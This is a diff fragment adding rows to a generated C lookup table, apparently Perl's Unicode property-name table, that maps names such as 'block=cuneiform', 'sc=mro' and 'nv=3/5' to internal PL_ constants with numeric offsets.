+  {     1,  3129,  8296,  17,   4, PL_GONM }   /* scriptextensions=gonm */,
+  {     5,    21,  4869,   2,  14, PL_LATINEXTD }   /* inlatinextendedd */,
+  {     0,  7136,   250,   6,  33, PL_DIACRITICALSEXT }   /* block=combiningdiacriticalmarksextended */,
+  {     1,    78,     0,  10,   0, PL_ARABICMATH }   /* arabicmath */,
+  {     1,  1206,  4011,   3,  15, PL_TANGUTCOMPONENTS }   /* intangutcomponents */,
+  {     1,  4440,  2251,   4,   8, PL_INGLAGOLITIC }   /* inglagolitic */,
+  {    11,   184,  3266,   3,   2, PL_CWL }   /* iscwl */,
+  {     8,  7822,     0,   4,   0, PL_HATR }   /* hatr */,
+  {     5,  8240,  2329,   3,  20, PL_BC__RLE }   /* bc=righttoleftembedding */,
+  {   180,   184,  8939,   2,   2, PL_ZP }   /* iszp */,
+  {     0,  4402,  2046,   4,   9, PL_INMEETEIMAYEK }   /* inmeeteimayek */,
+  {     3,  2754,  5612,   5,   9, PL_ALPHABETICPF }   /* inalphabeticpf */,
+  {     0,  6890,  7016,   4,   9, PL_INOLDPERMIC }   /* blk=oldpermic */,
+  {     0,  8816,  8720,   3,   3, PL_NV__3_SLASH_5 }   /* nv=3/5 */,
+  {    39,  7136,  2967,   6,  11, PL_GEORGIANSUP }   /* block=georgiansup */,
+  {     1,  8816,  7756,   3,   5, PL_NV__90000 }   /* nv=90000 */,
+  {    20,  8816,  5220,   3,   1, PL_NV__0 }   /* nv=0 */,
+  {    34,  7136,   382,   6,  33, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* block=supplementalsymbolsandpictographs */,
+  {     0,  7459,  8408,   3,   3, PL_MRO }   /* sc=mro */,
+  {    10,  6472,  6971,  10,   9, PL_WB__MB }   /* wordbreak=midnumlet */,
+  {    65,  6472,  3526,  10,  17, PL_RI }   /* wordbreak=regionalindicator */,
+  {   322,  8026,  2349,   5,  20, PL_INPC__TOPANDBOTTOMANDRIGHT }   /* inpc=topandbottomandright */,
+  {     7,  7296,     0,   8,   0, PL_SPECIALS }   /* specials */,
+  {     1,  7136,  4494,   6,  15, PL_NARB }   /* block=oldnortharabian */,
+  {    22,  8011,  5310,   3,  13, PL_XPOSIXDIGIT }   /* gc=decimalnumber */,
+  {     1,  8096,  7900,   4,   6, PL_RJNG }   /* scx=rejang */,
+  {   642,   184,  7436,   2,   7, PL_ELBA }   /* iselbasan */,
+  {     0,  7288,  7810,   7,   6, PL_GOTH }   /* script=gothic */,
+  {     0,  4314,  2437,  13,   9, PL_JG__YEHBARREE }   /* joininggroup=yehbarree */,
+  {     0,  6210,  3291,   5,  14, PL_INCAUCASIANALBANIAN }   /* incaucasianalbanian */,
+  {     1,  1448,  2676,   4,  17, PL_SUNDANESESUP }   /* insundanesesupplement */,
+  {     0,   184,  5583,   2,  13, PL_QMARK }   /* isquotationmark */,
+  {    17,  7459,  7646,   3,   7, PL_TAVT }   /* sc=taiviet */,
+  {     0,  7136,   808,   6,  11, PL_PHONETICEXT }   /* block=phoneticext */,
+  {     5,   184,  7991,   2,   5, PL_BUHD }   /* isbuhid */,
+  {     0,  6890,  5933,   4,  12, PL_INMASARAMGONDI }   /* blk=masaramgondi */,
+  {     4,  6890,   959,   4,   5, PL_MUSIC }   /* blk=music */,
+  {     0,  6076,  3223,  11,   3, -PL_BIDIC }   /* bidicontrol=no */,
+  {     0,  8011,    17,   4,   1, PL_SO }   /* gc=so */,
+  {     0,  2169,     0,  20,   0, PL_PC }   /* connectorpunctuation */,
+  {     0,  3129,  7918,  17,   4, PL_THAA }   /* scriptextensions=thaa */,
+  {     1,  7380,  8672,   4,   3, PL_CCC__214 }   /* ccc=214 */,
+  {   149,  6890,  8116,   4,   5, PL_INTAMIL }   /* blk=tamil */,
+  {    18,  4314,  6494,  13,  11, PL_JG__YEHWITHTAIL }   /* joininggroup=yehwithtail */,
+  {     3,  5544,  8673,  13,   2, PL_NV__14 }   /* numericvalue=14 */,
+  {     2,  6890,  7534,   4,   7, PL_NB }   /* blk=noblock */,
+  {     0,   949,  7997,   2,   2, PL_CI }   /* ci=y */,
+  {     0,  6647,   725,   4,   3, PL_CASED }   /* iscased */,
+  {     0,  5544,  8917,  13,   2, PL_NV__49 }   /* numericvalue=49 */,
+  {     2,   184,  1961,   3,  20, PL_CJKRADICALSSUP }   /* iscjkradicalssupplement */,
+  {     0,  6890,  4104,   4,  15, PL_BAMUMSUP }   /* blk=bamumsupplement */,
+  {     0,  7380,  7708,   7,   2, PL_CCC__21 }   /* ccc=ccc21 */,
+  {    21,   892,  7997,  17,   2, PL_VS }   /* variationselector=y */,
+  {    97,  8816,  5219,   3,   7, PL_NV__1000000 }   /* nv=1000000 */,
+  {   138,   184,   149,   3,  34, PL_DIACRITICALSSUP }   /* iscombiningdiacriticalmarkssupplement */,
+  {   207,  6890,  7858,   4,   6, PL_INKHOJKI }   /* blk=khojki */,
+  {     0,   184,   571,   3,  29, PL_CJKEXTC }   /* iscjkunifiedideographsextensionc */,
+  {     5,  1417,  8941,   9,   2, PL_ZS }   /* category=zs */,
+  {     1,  7344,  7997,   4,   2, PL_XIDS }   /* xids=y */,
+  {     1,  6890,  2044,   4,  21, PL_MEETEIMAYEKEXT }   /* blk=meeteimayekextensions */,
+  {     1,  6613,  1567,   3,  22, PL_COMPATJAMO }   /* ishangulcompatibilityjamo */,
+  {    14,  7380,  8632,   7,   2, PL_CCC__91 }   /* ccc=ccc91 */,
+  {   194,   974,   727,  24,   2, PL_CCC__DA }   /* canonicalcombiningclass=da */,
+  {    19,  7136,  3288,   6,  17, PL_INCAUCASIANALBANIAN }   /* block=caucasianalbanian */,
+  {    20,  7894,  3223,   6,   3, -PL_PATSYN }   /* patsyn=no */,
+  {     5,  6890,  7674,   4,   7, PL_UCASEXT }   /* blk=ucasext */,
+  {     2,   184,  6926,   2,   9, PL_SIND }   /* iskhudawadi */,
+  {     8,   184,  2249,   2,  20, PL_GLAGOLITICSUP }   /* isglagoliticsupplement */,
+  {    19,  8096,  7513,   4,   7, PL_MAND }   /* scx=mandaic */,
+  {     0,  8121,  3223,   5,   3, -PL_UIDEO }   /* uideo=no */,
+  {     5,   974,  8648,  27,   3, PL_CCC__130 }   /* canonicalcombiningclass=ccc130 */,
+  {   147,   974,  2769,  24,  13, PL_CCC__214 }   /* canonicalcombiningclass=attachedabove */,
+  {     8,  4542,  8112,   3,   3, PL_TAKR }   /* istakr */,
+  {     1,  7136,   720,   6,  30, PL_ENCLOSEDALPHANUMSUP }   /* block=enclosedalphanumericsupplement */,
+  {     0,  7136,  2484,   6,  19, PL_INEGYPTIANHIEROGLYPHS }   /* block=egyptianhieroglyphs */,
+  {   577,  1133,  7997,  26,   2, PL_PCM }   /* prependedconcatenationmark=y */,
+  {    44,  3129,  1797,  17,   4, PL_MODI }   /* scriptextensions=modi */,
+  {     1,  7288,  8424,   7,   4, PL_NBAT }   /* script=nbat */,
+  {     0,  1426,  2823,  22,  18, PL_INSC__CONSONANTSUBJOINED }   /* indicsyllabiccategory=consonantsubjoined */,
+  {     0,  5583,  7768,  13,   6, -PL_QMARK }   /* quotationmark=false */,
+  {     0,  3521,     0,   5,   0, PL_XPOSIXSPACE }   /* space */,
+  {     5,  3129,  7043,  17,   9, PL_PAUC }   /* scriptextensions=paucinhau */,
+  {     0,  7459,  2895,   3,   8, PL_ETHI }   /* sc=ethiopic */,
+  {     1,  7288,  8216,   7,   4, PL_ARMI }   /* script=armi */,
+  {   385,  8096,  4494,   4,  15, PL_NARB }   /* scx=oldnortharabian */,
+  {     0,    21,  5414,   2,  13, PL_LOWSURROGATES }   /* inlowsurrogates */,
+  {     1,  5134,  6697,   3,   9, PL_PHNX }   /* isphoenician */,
+  {     1,   184,  3516,   2,  10, PL_XPOSIXSPACE }   /* iswhitespace */,
+  {    18,  8376,  1496,   3,   2, PL_LB__CB }   /* lb=cb */,
+  {     0,  6890,  7492,   4,   7, PL_INKANNADA }   /* blk=kannada */,
+  {    28,  6713,  7710,   3,   1, PL_IN__6 }   /* in=6 */,
+  {    51,  6483,  7997,  11,   2, PL_XIDC }   /* xidcontinue=y */,
+  {     0,  5945,     0,  12,   0, PL_MATHALPHANUM }   /* mathalphanum */,
+  {    28,  7136,  1234,   6,  24, PL_ARABICPFA }   /* block=arabicpresentationformsa */,
+  {     0,   184,  7120,   2,   4, PL_BALI }   /* isbali */,
+  {     1,  8196,  8858,   4,   3, PL_AGE__4 }   /* age=v40 */,
+  {     0,  5801,     0,   5,   0, PL_KHMR }   /* khmer */,
+  {     0,  6890,  8532,   4,   4, PL_TAGS }   /* blk=tags */,
+  {     0,  8340,  5476,   3,   3, PL_JG__NUN }   /* jg=nun */,
+  {     0,   974,  5981,  24,  12, PL_CCC__0 }   /* canonicalcombiningclass=notreordered */,
+  {   282,   117,  5363,   3,  12, PL_IPAEXT }   /* inipaextensions */,
+  {   107,   184,  5825,   2,   7, PL_MAHJONG }   /* ismahjong */,
+  {    79,   184,  8408,   2,   3, PL_MRO }   /* ismro */,
+  {     0,   184,  5401,   2,  13, PL_ZL }   /* islineseparator */,
+  {     0,  5375,    36,  12,   1, PL_JT__T }   /* joiningtype=t */,
+  {     2,  6890,   690,   4,   9, PL_INCUNEIFORM }   /* blk=cuneiform */,
+  {     4,   184,  5694,   3,  11, PL_CYRILLICEXTB }   /* iscyrillicextb */,
+  {   196,   184,    11,   2,   3, PL_DIA }   /* isdia */,
+  {     0,  5134,   469,   3,  10, PL_P }   /* ispunctuation */,
+  {   309,  3129,  7520,  17,   7, PL_MARC }   /* scriptextensions=marchen */,
+  {   712,  7136,   660,   6,  30, PL_CJKEXTF }   /* block=cjkunifiedideographsextensionf */,
+  {     0,  6890,  6439,   4,  11, PL_INSYLOTINAGRI }   /* blk=sylotinagri */,
+  {     0,  8011,  6796,   3,  10, PL_CN }   /* gc=unassigned */,
+  {   146,  8096,  2598,   4,   4, PL_MERO }   /* scx=mero */,
+  {     1,   184,  3458,   2,  10, PL_MANI }   /* ismanichaean */,
+  {    66,  7288,  8464,   7,   4, PL_PHNX }   /* script=phnx */,
+  {     0,  6329,  7946,  11,   5, PL_NV__NAN }   /* numerictype=none */,
+  {     0,  7136,  7240,   6,   8, PL_JAMOEXTB }   /* block=jamoextb */,
+  {     0,  3129,  2967,  17,   8, PL_GEOR }   /* scriptextensions=georgian */,
+  {     0,  8031,  4647,   5,  12, PL_INZANABAZARSQUARE }   /* inzanabazarsquare */,
+  {     0,   974,  8688,  27,   2, PL_CCC__26 }   /* canonicalcombiningclass=ccc26 */,
+  {    11,  8091,     0,   5,   0, PL_RUNR }   /* runic */,
+  {     2,  6890,  2636,   4,   9, PL_INMONGOLIAN }   /* blk=mongolian */,
+  {   171,  4542,    47,   5,   1, PL_TERM }   /* isterm */,
+  {     1,  7136,  5362,   6,   6, PL_IPAEXT }   /* block=ipaext */,
+  {     3,  8492,     0,   4,   0, PL_RUNR }   /* runr */,
+  {    33,  8011,  6098,   3,  11, PL_L_AMP_ }   /* gc=casedletter */,
+  {     0,  8111,     0,   5,   0, PL_TAKR }   /* takri */,
+  {     0,  1892,  7997,   5,   2, PL_CASED }   /* cased=y */,
+  {     0,  7136,  6926,   6,   9, PL_INKHUDAWADI }   /* block=khudawadi */,
+  {     0,  7478,  2108,   3,   6, PL_SINH }   /* issinhala */,
+  {     2,   184,  3854,   2,  10, PL_SM }   /* ismathsymbol */,
+  {     0,  8196,  8876,   4,   3, PL_AGE__6_DOT_1 }   /* age=v61 */,
+  {     0,  1133,  3223,  26,   3, -PL_PCM }   /* prependedconcatenationmark=no */,
+  {     9,  6613,  5869,   3,   3, PL_HMNG }   /* ishmng */,
+  {     1,  8011,  5253,   3,   5, PL_XPOSIXDIGIT }   /* gc=digit */,
+  {     4,  1503,  7437,   3,   6, PL_INELBASAN }   /* inelbasan */,
+  {     6,   184,  7900,   2,   6, PL_RJNG }   /* isrejang */,
+  {     0,  7459,  2967,   3,   4, PL_SC__GEOR }   /* sc=geor */,
+  {     1,  8096,  8520,   4,   4, PL_SHAW }   /* scx=shaw */,
+  {     0,   184,  7168,   2,   8, PL_EXT }   /* isextender */,
+  {   293,  4542,  7313,   3,   3, PL_TAGB }   /* istagb */,
+  {     0,  7136,   183,   6,  20, PL_MISCSYMBOLS }   /* block=miscellaneoussymbols */,
+  {     0,  2693,     0,  19,   0, PL_SUPARROWSA }   /* supplementalarrowsa */,
+  {   132,  6890,    42,   4,  26, PL_CJKCOMPATIDEOGRAPHS }   /* blk=cjkcompatibilityideographs */,
+  {    65,  6210,   661,   3,  29, PL_CJKEXTF }   /* incjkunifiedideographsextensionf */,
+  {    11,  1358,  7768,  20,   6, -PL_CE }   /* compositionexclusion=false */,
+  {     2,  5250,  7768,   8,   2, -PL_XPOSIXXDIGIT }   /* hexdigit=f */,
+  {   267,  8196,  8759,   4,   3, PL_AGE__7 }   /* age=7.0 */,
+  {     0,  4402,   184,   3,  33, PL_MISCPICTOGRAPHS }   /* inmiscellaneoussymbolsandpictographs */,
+  {    17,  6706,  8711,  10,   3, PL_IN__3_DOT_1 }   /* presentin=3.1 */,
+  {     4,  8096,  7858,   4,   6, PL_KHOJ }   /* scx=khojki */,
+  {   268,  4542,  4570,   3,  14, PL_LT }   /* istitlecaseletter */,
+  {     3,  5968,  4510,   3,  14, PL_SARB }   /* inoldsoutharabian */,
+  {     3,  5250,  3581,   8,   2, PL_XPOSIXXDIGIT }   /* hexdigit=t */,
+  {     0,    58,  3223,   4,   3, -PL_IDEO }   /* ideo=no */,
+  {    25,  8096,  6926,   4,   9, PL_SIND }   /* scx=khudawadi */,
+  {     0,  7288,    78,   7,   6, PL_SC__ARAB }   /* script=arabic */,
+  {     0,  1417,     1,   9,   1, PL_N }   /* category=n */,
+  {     1,  7900,     0,   6,   0, PL_RJNG }   /* rejang */,
+  {     2,  8340,     5,   3,   1, PL_JG__E }   /* jg=e */,
+  {     4,  3129,  7248,  17,   8, PL_JAVA }   /* scriptextensions=javanese */,
+  {    32,   184,     1,   2,   1, PL_N }   /* isn */,
+  {    17,  8340,  4939,   3,  14, PL_JG__MANICHAEANFIVE }   /* jg=manichaeanfive */,
+  {    24,  7136,  5596,   6,  13, PL_VERTICALFORMS }   /* block=verticalforms */,
+  {     0,  7380,  3262,   4,   5, PL_CCC__B }   /* ccc=below */,
+  {    48,  4569,     0,  15,   0, PL_LT }   /* titlecaseletter */,
+  {     0,  7478,  2694,   3,  18, PL_SUPARROWSA }   /* issupplementalarrowsa */,
+  {     0,  1834,  3223,  21,   3, -PL_CWCF }   /* changeswhencasefolded=no */,
+  {     0,  6221,  1682,   4,  20, PL_INDICNUMBERFORMS }   /* incommonindicnumberforms */,
+  {     0,  7288,  6696,   7,  10, PL_PHNX }   /* script=phoenician */,
+  {    24,    11,  7951,   2,   5, PL_DI }   /* di=true */,
+  {     0,   184,  4329,   2,  15, PL_LL }   /* islowercaseletter */,
+  {     0,  8096,  8568,   4,   4, PL_VAI }   /* scx=vaii */,
+  {     1,  1448,  2724,   5,   7, PL_SUPARROWSB }   /* insuparrowsb */,
+  {     0,  7345,  3223,   7,   3, -PL_IDS }   /* idstart=no */,
+  {     0,  6483,  7768,   4,   6, -PL_XIDC }   /* xidc=false */,
+  {    29,  3129,  8208,  17,   4, PL_AHOM }   /* scriptextensions=ahom */,
+  {   261,  2023,  3223,  21,   2, -PL_LOE }   /* logicalorderexception=n */,
+  {     0,  1354,  3223,  24,   3, -PL_COMPEX }   /* fullcompositionexclusion=no */,
+  {     0,  3516,  7951,  10,   5, PL_XPOSIXSPACE }   /* whitespace=true */,
+  {     8,  6890,  2814,   4,   9, PL_HALFMARKS }   /* blk=halfmarks */,
+  {     2,  5825,     0,  12,   0, PL_MAHJONG }   /* mahjongtiles */,
+  {     1,  8822,  7768,   3,   6, -PL_PCM }   /* pcm=false */,
+  {     3,  7459,  7043,   3,   9, PL_PAUC }   /* sc=paucinhau */,
+  {   136,  1358,  7997,  20,   2, PL_CE }   /* compositionexclusion=y */,
+  {   160,  1834,  7997,  21,   4, PL_CWCF }   /* changeswhencasefolded=yes */,
+  {    92,  8096,  7520,   4,   7, PL_MARC }   /* scx=marchen */,
+  {     7,  5544,  7942,  13,   4, PL_NV__1_SLASH_12 }   /* numericvalue=1/12 */,
+  {     1,  4314,    87,  13,   2, PL_JG__HE }   /* joininggroup=he */,
+  {     0,  8340,  5873,   3,  12, PL_JG__MALAYALAMNNA }   /* jg=malayalamnna */,
+  {     3,   184,  1898,   3,  20, PL_CWT }   /* ischangeswhentitlecased */,
+  {    32,  7380,  8171,   4,   2, PL_CCC__23 }   /* ccc=23 */,
+  {   304,  2859,  7216,  18,   8, PL_DT__ISO }   /* decompositiontype=isolated */,
+  {    32,  7288,  3583,   8,   3, PL_BRAI }   /* script=brai */,
+  {     0,  8340,  4977,   3,   4, PL_JG__KAPH }   /* jg=kaph */,
+  {     1,    21,  8056,   2,   5, PL_INNUSHU }   /* innushu */,
+  {     8,  8340,  4384,   3,   5, PL_JG__SADHE }   /* jg=sadhe */,
+  {     7,  4239,  3223,   4,   3, -PL_DASH }   /* dash=no */,
+  {     4,  3129,  8436,  17,   4, PL_NSHU }   /* scriptextensions=nshu */,
+  {     0,  1746,  1627,  21,   7, PL_GCB__CN }   /* graphemeclusterbreak=control */,
+  {     0,  1503,  1002,   3,  10, PL_ENCLOSEDCJK }   /* inenclosedcjk */,
+  {    85,  3129,  8356,  17,   4, PL_KNDA }   /* scriptextensions=knda */,
+  {     1,  3129,  8528,  17,   4, PL_SYRC }   /* scriptextensions=syrc */,
+  {   724,  6890,   448,   5,  31, PL_IDEOGRAPHICSYMBOLS }   /* blk=ideographicsymbolsandpunctuation */,
+  {     1,  2674,     0,   4,   0, PL_SUND }   /* sund */,
+  {    11,    84,  7997,   4,   2, PL_MATH }   /* math=y */,
+  {   167,    84,  7768,   4,   6, -PL_MATH }   /* math=false */,
+  {     1,  6221,  2467,   4,  17, PL_COUNTINGROD }   /* incountingrodnumerals */,
+  {    16,  8204,  3223,   4,   2, -PL_POSIXXDIGIT }   /* ahex=n */,
+  {     0,  3129,  2598,  17,  19, PL_MERO }   /* scriptextensions=meroitichieroglyphs */,
+  {   686,  4314,  4939,  13,  14, PL_JG__MANICHAEANFIVE }   /* joininggroup=manichaeanfive */,
+  {     0,   184,  2895,   2,  11, PL_ETHIOPICSUP }   /* isethiopicsup */,
+  {    61,  8344,  6164,   3,  11, PL_JT__D }   /* jt=dualjoining */,
+  {     0,  5362,     0,  13,   0, PL_IPAEXT }   /* ipaextensions */,
+  {    10,  7288,  8552,   7,   4, PL_SC__TGLG }   /* script=tglg */,
+  {    41,  4554,   112,  14,   2, PL_SB__SC }   /* sentencebreak=sc */,
+  {   309,  7288,  1111,   7,   4, PL_SC__KANA }   /* script=kana */,
+  {     0,  8011,  6351,   3,  11, PL_NO }   /* gc=othernumber */,
+  {     8,  5051,  7996,   5,   5, PL_DT__NONE }   /* nfkdqc=yes */,
+  {   418,   974,  8678,  24,   3, PL_CCC__B }   /* canonicalcombiningclass=220 */,
+  {     0,  5245,  3223,  13,   2, -PL_POSIXXDIGIT }   /* asciihexdigit=n */,
+  {   599,  7380,  8639,   7,   3, PL_CCC__118 }   /* ccc=ccc118 */,
+  {     0,  8096,  7780,   4,   4, PL_CARI }   /* scx=cari */,
+  {     0,  7604,     0,   7,   0, PL_SIDD }   /* siddham */,
+  {     3,  2100,  3058,   3,  17, PL_ORNAMENTALDINGBATS }   /* isornamentaldingbats */,
+  {     1,  8244,     0,   4,   0, PL_BHKS }   /* bhks */,
+  {   194,   415,     0,  32,   0, PL_INIDC }   /* ideographicdescriptioncharacters */,
+  {     0,  4314,  5871,  13,   5, PL_JG__GAMAL }   /* joininggroup=gamal */,
+  {    14,  7288,  7569,   7,   7, PL_OSMA }   /* script=osmanya */,
+  {     6,  4402,     0,  17,   0, PL_INMEROITICCURSIVE }   /* inmeroiticcursive */,
+  {     4,  8816,  8655,   3,   2, PL_NV__33 }   /* nv=33 */,
+  {     0,    58,  7768,   4,   6, -PL_IDEO }   /* ideo=false */,
+  {     9,  6613,  1161,   3,   3, PL_HANG }   /* ishang */,
+  {     1,  7288,  8500,   7,   4, PL_SARB }   /* script=sarb */,
+  {     2,  3129,  7248,  17,   4, PL_JAVA }   /* scriptextensions=java */,
+  {     2,  7136,  1378,   6,  24, PL_HIGHPUSURROGATES }   /* block=highprivateusesurrogates */,
+  {     0,   184,  8356,   2,   4, PL_KNDA }   /* isknda */,
+  {   869,  6076,     0,  11,   0, PL_BIDIC }   /* bidicontrol */,
+  {     0,  1159,  3223,  25,   3, -PL_CWKCF }   /* changeswhennfkccasefolded=no */,
+  {   282,  7136,  7415,   6,   7, PL_CJKEXTE }   /* block=cjkexte */,
+  {   197,  1506,     0,  14,   0, PL_MUSIC }   /* musicalsymbols */,
+  {     0,  7774,  1191,   6,   9, PL_CI }   /* _case_ignorable */,
+  {     0,  7457,  4434,   5,  15, PL_INSC__MODIFYINGLETTER }   /* insc=modifyingletter */,
+  {   661,  2108,  3709,   5,  13, PL_HALFANDFULLFORMS }   /* inhalfandfullforms */,
+  {     0,  5544,  8156,  13,   4, PL_NV__11_SLASH_2 }   /* numericvalue=11/2 */,
+  {     1,  3129,  7007,  17,   9, PL_ITAL }   /* scriptextensions=olditalic */,
+  {     6,  7288,  4404,   7,  15, PL_MERC }   /* script=meroiticcursive */,
+  {     0,  8240,  5633,   3,  12, PL_BC__AN }   /* bc=arabicnumber */,
+  {     1,  7312,     0,   8,   0, PL_TAGB }   /* tagbanwa */,
+  {    22,  3129,  6626,  17,  10, PL_KHAR }   /* scriptextensions=kharoshthi */,
+  {    35,    11,  7768,   2,   6, -PL_DI }   /* di=false */,
+  {     1,  7780,     0,   6,   0, PL_CARI }   /* carian */,
+  {     0,  8822,  7768,   3,   2, -PL_PCM }   /* pcm=f */,
+  {     0,  4590,  7997,   2,   4, PL_VS }   /* vs=yes */,
+  {     5,  8340,  8828,   3,   3, PL_JG__REH }   /* jg=reh */,
+  {     0,  3516,  7997,  10,   2, PL_XPOSIXSPACE }   /* whitespace=y */,
+  {     4,  3129,  8464,  17,   4, PL_PHNX }   /* scriptextensions=phnx */,
+  {   640,  4314,  7864,  13,   6, PL_JG__LAMADH }   /* joininggroup=lamadh */,
+  {     5,  6221,  6598,   4,   8, PL_COMPATJAMO }   /* incompatjamo */,
+  {     0,  7136,  3962,   6,  16, PL_SUPMATHOPERATORS }   /* block=supmathoperators */,
+  {   454,  3129,  8216,  17,   4, PL_ARMI }   /* scriptextensions=armi */,
+  {     0,  6890,  6586,   4,  10, PL_CJKSTROKES }   /* blk=cjkstrokes */,
+  {     2,  6872,     0,   9,   0, PL_ARABICPFB }   /* arabicpfb */,
+  {     3,  8780,  3223,   3,   2, -PL_CWT }   /* cwt=n */,
+  {     1,  7136,  7852,   6,   6, PL_KANBUN }   /* block=kanbun */,
+  {     4,  4614,     0,   8,   0, PL_VEDICEXT }   /* vedicext */,
+  {    24,  1918,  7997,  21,   2, PL_CWU }   /* changeswhenuppercased=y */,
+  {     1,  6890,  2044,   4,  11, PL_INMEETEIMAYEK }   /* blk=meeteimayek */,
+  {   738,  5531,     0,  13,   0, PL_MISCTECHNICAL }   /* misctechnical */,
+  {     1,  7136,  7870,   6,   6, PL_INLEPCHA }   /* block=lepcha */,
+  {     3,  2859,  7541,  18,   7, PL_DT__NB }   /* decompositiontype=nobreak */,
+  {     0,  7136,  1691,   6,  11, PL_NUMBERFORMS }   /* block=numberforms */,
+  {    38,  8572,  8789,   3,   3, PL_WB__EBG }   /* wb=ebg */,
+  {     0,  6647,  5286,   4,  11, PL_CI }   /* iscaseignorable */,
+  {     0,  3526,  7997,  17,   4, PL_RI }   /* regionalindicator=yes */,
+  {     2,  3129,  7569,  17,   4, PL_OSMA }   /* scriptextensions=osma */,
+  {     1,  8096,  7918,   4,   6, PL_THAA }   /* scx=thaana */,
+  {     0,  8096,  1797,   4,   4, PL_MODI }   /* scx=modi */,
+  {     1,  7136,  1768,   6,  22, PL_MISCTECHNICAL }   /* block=miscellaneoustechnical */,
+  {    12,  6890,  2712,   4,  19, PL_SUPARROWSB }   /* blk=supplementalarrowsb */,
+  {    64,  8196,  8753,   4,   3, PL_AGE__6_DOT_2 }   /* age=6.2 */,
+  {     8,  5968,  8062,   3,   4, PL_INOGHAM }   /* inogham */,
+  {     3,  8504,    34,   3,   6, PL_SB__EX }   /* sb=extend */,
+  {     0,  7380,  8648,   4,   3, PL_CCC__130 }   /* ccc=130 */,
+  {   339,   218,  3521,   4,   5, PL_POSIXSPACE }   /* perlspace */,
+  {   206,  8011,  1499,   3,   1, PL_Z }   /* gc=z */,
+  {   256,  6890,  2636,   4,  19, PL_MONGOLIANSUP }   /* blk=mongoliansupplement */,
+  {     5,   184,  8604,   2,   4, PL_ZYYY }   /* iszyyy */,
+  {     3,  2107,     0,  21,   0, PL_SINHALAARCHAICNUMBERS }   /* sinhalaarchaicnumbers */,
+  {   916,  7288,  7010,   7,   4, PL_ITAL }   /* script=ital */,
+  {  1090,   184,  2408,   2,   4, PL_BRAH }   /* isbrah */,
+  {     0,  1417,  4239,   9,  15, PL_PD }   /* category=dashpunctuation */,
+  {   165,  7689,  8193,   3,   3, PL_ADLM }   /* isadlm */,
+  {    12,  1929,  7951,   9,   5, PL_XPOSIXUPPER }   /* uppercase=true */,
+  {     1,  3129,  1981,  17,   8, PL_CYRL }   /* scriptextensions=cyrillic */,
+  {    38,  8240,  6328,   3,   2, PL_BC__BN }   /* bc=bn */,
+  {    18,  7380,  8699,   4,   3, PL_CCC__DB }   /* ccc=233 */,
+  {     1,  5134,   809,   3,  27, PL_PHONETICEXTSUP }   /* isphoneticextensionssupplement */,
+  {     0,    42,     0,  26,   0, PL_CJKCOMPATIDEOGRAPHS }   /* cjkcompatibilityideographs */,
+  {    10,  1897,  7951,  21,   5, PL_CWT }   /* changeswhentitlecased=true */,
+  {    23,  7288,  6373,   7,  11, PL_HMNG }   /* script=pahawhhmong */,
+  {     0,  3560,     0,  17,   0, PL_SUTTONSIGNWRITING }   /* suttonsignwriting */,
+  {  1728,  2044,     0,  14,   0, PL_MEETEIMAYEKEXT }   /* meeteimayekext */,
+  {     0,  6263,  3642,  10,  16, PL_LB__CP }   /* linebreak=closeparenthesis */,
+  {    17,  6263,  8927,  10,   2, PL_GCB__L }   /* linebreak=jl */,
+  {   266,  6263,  5762,  10,   3, PL_LB__ZWJ }   /* linebreak=zwj */,
+  {    65,  8556,     0,   4,   0, PL_THAI }   /* thai */,
+  {     0,  8816,  8156,   3,   4, PL_NV__11_SLASH_2 }   /* nv=11/2 */,
+  {     3,  6890,  4827,   4,   6, PL_KANGXI }   /* blk=kangxi */,
+  {     0,  1503,   721,   3,  15, PL_ENCLOSEDALPHANUM }   /* inenclosedalphanum */,
+  {    40,  6263,  2440,  10,   2, PL_LB__BA }   /* linebreak=ba */,
+  {     1,  2100,  8453,   3,   3, PL_ORYA }   /* isorya */,
+  {     9,  7499,     0,   7,   0, PL_KALI }   /* kayahli */,
+  {   276,    21,  7232,   2,   8, PL_JAMOEXTA }   /* injamoexta */,
+  {     0,  4314,  4792,  13,   7, PL_JG__HEHGOAL }   /* joininggroup=hehgoal */,
+  {     1,  6890,  1981,   4,  18, PL_CYRILLICSUP }   /* blk=cyrillicsupplement */,
+  {   922,  4314,  6526,  13,  10, PL_JG__AFRICANQAF }   /* joininggroup=africanqaf */,
+  {     6,  4554,  3084,  14,   3, PL_SB__SE }   /* sentencebreak=sep */,
+  {     0,  6890,   568,   4,   2, PL_NB }   /* blk=nb */,
+  {     0,  4554,   496,  14,   2, PL_LB__NU }   /* sentencebreak=nu */,
+  {     0,  7689,    29,   4,   4, PL_ARAB }   /* isarabic */,
+  {    10,  1426,  2408,  22,  19, PL_INSC__BRAHMIJOININGNUMBER }   /* indicsyllabiccategory=brahmijoiningnumber */,
+  {     1,  6263,    83,  10,   2, PL_LB__CM }   /* linebreak=cm */,
+  {   191,  7459,  3566,   3,  11, PL_SGNW }   /* sc=signwriting */,
+  {     0,  2229,   599,  16,   2, PL_XPOSIXCNTRL }   /* generalcategory=cc */,
+  {     0,  4402,  1507,   3,  13, PL_MUSIC }   /* inmusicalsymbols */,
+  {  1837,  5135,     0,  14,   0, PL_ZS }   /* spaceseparator */,
+  {    11,  2100,  3915,   3,  15, PL_PO }   /* isotherpunctuation */,
+  {  2565,   184,  2044,   2,  11, PL_MTEI }   /* ismeeteimayek */,
+  {     0,  8340,  6384,   3,  11, PL_JG__ROHINGYAYEH }   /* jg=rohingyayeh */,
+  {     0,  7136,  4687,   6,  14, PL_CJKCOMPATFORMS }   /* block=cjkcompatforms */,
+  {     0,  3129,  7632,  17,   7, PL_TGLG }   /* scriptextensions=tagalog */,
+  {     0,  7344,  7768,   4,   2, -PL_XIDS }   /* xids=f */,
+  {     0,  7288,  7520,   7,   4, PL_MARC }   /* script=marc */,
+  {     0,  6890,  2841,   4,   6, PL_INCOPTIC }   /* blk=coptic */,
+  {   525,  8096,   690,   4,   9, PL_XSUX }   /* scx=cuneiform */,
+  {    23,  8816,  8685,   3,   2, PL_NV__24 }   /* nv=24 */,
+  {     0,  2100,  8457,   3,   3, PL_OSGE }   /* isosge */,
+  {     1,  4542,  4011,   3,   5, PL_TANG }   /* istangut */,
+  {     1,  8340,  4925,   3,  14, PL_JG__MANICHAEANBETH }   /* jg=manichaeanbeth */,
+  {     0,   184,  7858,   2,   4, PL_KHOJ }   /* iskhoj */,
+  {     0,  6890,  4799,   4,  14, PL_HIGHSURROGATES }   /* blk=highsurrogates */,
+  {     0,  1417,  3075,   9,  18, PL_ZP }   /* category=paragraphseparator */,
